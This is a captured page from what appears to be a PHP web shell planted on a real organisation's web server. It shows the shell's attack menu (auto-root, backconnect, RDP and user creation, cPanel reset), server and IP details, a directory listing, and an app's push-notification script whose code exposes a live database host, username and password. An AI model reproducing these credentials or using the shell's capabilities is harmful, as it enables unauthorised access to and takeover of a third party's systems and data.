Linux server.thearyasamaj.org 4.18.0-553.56.1.el8_10.x86_64 #1 SMP Tue Jun 10 05:00:59 EDT 2025 x86_64
Apache
: 103.90.241.146 | : 216.73.216.222
Cant Read [ /etc/named.conf ]
5.6.40
ftpuser@mantra.thearyasamaj.org
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
thearyasamaj /
public_html /
apps /
[ HOME SHELL ]
Name
Size
Permission
Action
aryaSamajImages
[ DIR ]
drwxr-xr-x
bhajans
[ DIR ]
drwxr-xr-x
login
[ DIR ]
drwxr-xr-x
.ftpquota
11
B
-rw-r--r--
aryasamajws.php
3.1
KB
-rw-r--r--
aryasamajwslike.php
1.67
KB
-rw-r--r--
error_log
4.39
MB
-rw-r--r--
mservices.php
512
B
-rw-r--r--
new_sendmessage.php
2.46
KB
-rw-r--r--
new_sendmessage2.php
2.29
KB
-rw-r--r--
portscan.php
272
B
-rw-r--r--
sendmessage.php
2.89
KB
-rw-r--r--
sendmessage_aryasamaj.php
2.87
KB
-rw-r--r--
simplepush.php
1.52
KB
-rw-r--r--
storeregid1.php
729
B
-rw-r--r--
storetoken.php
870
B
-rw-r--r--
storetoken_aryasamaj.php
918
B
-rw-r--r--
tbl_info.php
511
B
-rw-r--r--
tbl_services.php
515
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : new_sendmessage2.php
<html> <body> <form name=foo action="" method="POST"> <input type=radio name=build value=adhoc>AdHoc<br> <input type=radio name=build value=production>Production<br> <b style="top:0; left:0;">Enter Message:</b> <br> <textarea name=msg></textarea><br><br> <input type=submit value=send> </form> </body> </html> <?php error_reporting(0); if(isset($_POST['msg']) && isset($_POST['build'])) { $msg=$_POST['msg']; $build=$_POST['build']; mysql_connect("46.4.149.39","thearyas","K(TddG)rx,EK") or die("not able to connect"); mysql_select_db("thearyas_asmapp") or die("db not accessible"); if($build=="production") $selqr="select * from tokens_adhoc"; else $selqr="select * from tokens"; $rs=mysql_query($selqr) or die(mysql_error()); $num_rows=mysql_num_rows($rs); $i=1; $fp1=fopen("towrite.txt","w"); fwrite($fp1,$num_rows); fclose($fp1); while($row = mysql_fetch_row($rs)) { $fp=fopen("written.txt","w"); sendmsg($row[0],$msg,$build); fwrite($fp,$i); $i++; } fclose($fp); fclose($fp1); } else { echo "enter message and select a build type"; exit; } function sendmsg($token,$message,$build) { $deviceToken = $token; $passphrase = '123456'; $message = $message; $ctx = stream_context_create(); if($build=="production") stream_context_set_option($ctx, 'ssl', 'local_cert', 'arya_final_prod.pem'); else stream_context_set_option($ctx, 'ssl', 'local_cert', 'aryaSamajFinal.pem'); stream_context_set_option($ctx, 'ssl', 'passphrase', $passphrase); if($build=="production") $fp = stream_socket_client('ssl://gateway.push.apple.com:2195', $err,$errstr, 60, STREAM_CLIENT_CONNECT|STREAM_CLIENT_PERSISTENT, $ctx); else $fp = stream_socket_client('ssl://gateway.sandbox.push.apple.com:2195', $err,$errstr, 60, STREAM_CLIENT_CONNECT|STREAM_CLIENT_PERSISTENT, $ctx); if (!$fp) exit("Failed to connect: $err $errstr" . PHP_EOL); echo 'Connected to APNS' . PHP_EOL; $body['aps'] = array( 'alert' => $message, 'sound' => 'default' ); $payload = json_encode($body); $msg = chr(0) . pack('n', 32) . pack('H*', $deviceToken) . pack('n', strlen($payload)) . $payload; $result = fwrite($fp, $msg, strlen($msg)); if (!$result) echo 'Message not delivered<br>' . PHP_EOL; else echo 'Message successfully delivered<br>' . PHP_EOL; fclose($fp); } ?>
Close